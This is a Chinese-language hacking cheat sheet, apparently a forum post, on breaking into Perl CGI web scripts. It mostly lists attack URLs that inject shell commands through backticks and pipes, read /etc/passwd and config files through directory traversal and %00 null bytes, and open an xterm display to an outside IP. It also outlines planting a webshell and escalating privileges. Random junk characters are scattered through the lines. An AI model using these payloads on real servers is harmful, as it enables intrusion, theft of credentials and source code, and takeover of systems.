总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 / l$ l/ b, J& l2 U
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 ; @: C" k; C- H, p8 g6 N- v( {/ D
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
" K- m/ D( ^; |6 N; o, {0 U, @注“ $ [8 a' A4 x% C' j* f, l5 g
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
0 F) b: v* U; m) }3 c# T2 a* _以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET 9 _6 D z% S, M2 M
3 d/ T' m& t7 l2 o* B$ y% J$ T0 f, }$ Qhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造
+ C; z$ @) W4 f4 h; phttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 - e+ k, B* J+ m" g
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
2 J( R) }* T4 ~$ F! v& @; X8 ^/ g4 I! whttp://target.com/cgi-bin/home/news/sub.pl?`id`
4 ?3 k, s8 O) K6 D6 q: N+ U. Phttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` % [2 q4 k1 ?* q: `! H
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 7 w, P% h! O- I. l" M; ~ ?
! P% w" V% s" {6 W5 V8 ^
http://target.com/test.pl;ls| . b& R3 U' ]9 M1 f/ S ~
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| 1 i: O+ R$ f, \8 N5 D$ a6 W, |
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
- n: ]2 Z9 X; y+ lhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 5 j" h# Q: m. [( |
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
$ r' Z8 v- W1 n# yhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
1 f/ p6 q! |6 X) n8 I3 v, S+ t* Y) [ D. c! U7 C1 s7 M4 [
http://target.com/test.pl?&........ /../../etc/passwd 5 k U" M: d, D4 ]
* N8 r+ \; \" p( a2 o g; a% Xhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
. n& j# j& F- D# C; ^http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 , ]4 b" _* R% V7 s
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 ( b2 q+ Q+ ]9 l3 s+ z, |7 F$ z9 S# A
d& }4 N1 n4 F* @- h a
http://www.target.org/show.php?f ... /include/config.php 查看php代码
4 C3 e% Q; H V1 j/ _7 j$ @http://www.target.org/show.php?f ... ng/admin/global.php 9 p5 h* H$ |8 ]2 c
4 c! D# x7 R: remm和ps的一句话) [6 [: ?) r; P
$ |$ W: {+ | s! W/ g* X. t8 l% Zhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
+ e% Z2 o6 x, ]" p: e' u
* r; c" a# ~8 X- l; q: q" y* _>bbb%20|
0 z/ R# ^& \4 e! w* G) c5 i) H; g+ C4 s2 D/ b; n' B" A
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
t/ T* I, l1 \2 x& k2 W2 [* o. L7 j% |$ H8 I$ S. G) I
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 + L* b* f* p6 t
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
( n7 F i' y" a5 U% @
. r9 E: \" t: {7 f9 s* t- q1 a相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 ( e0 t, D. r$ \4 `, h
http://target.com/index.html#cmd.exe 7 ]( v* L$ s0 r* W: Q1 O: t7 o
http://target.com/index.html?dummyparam=xp_cmdshell # O% L, N: x! `8 C+ `' Y
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd 9 I) U, U, m. w1 A0 w
|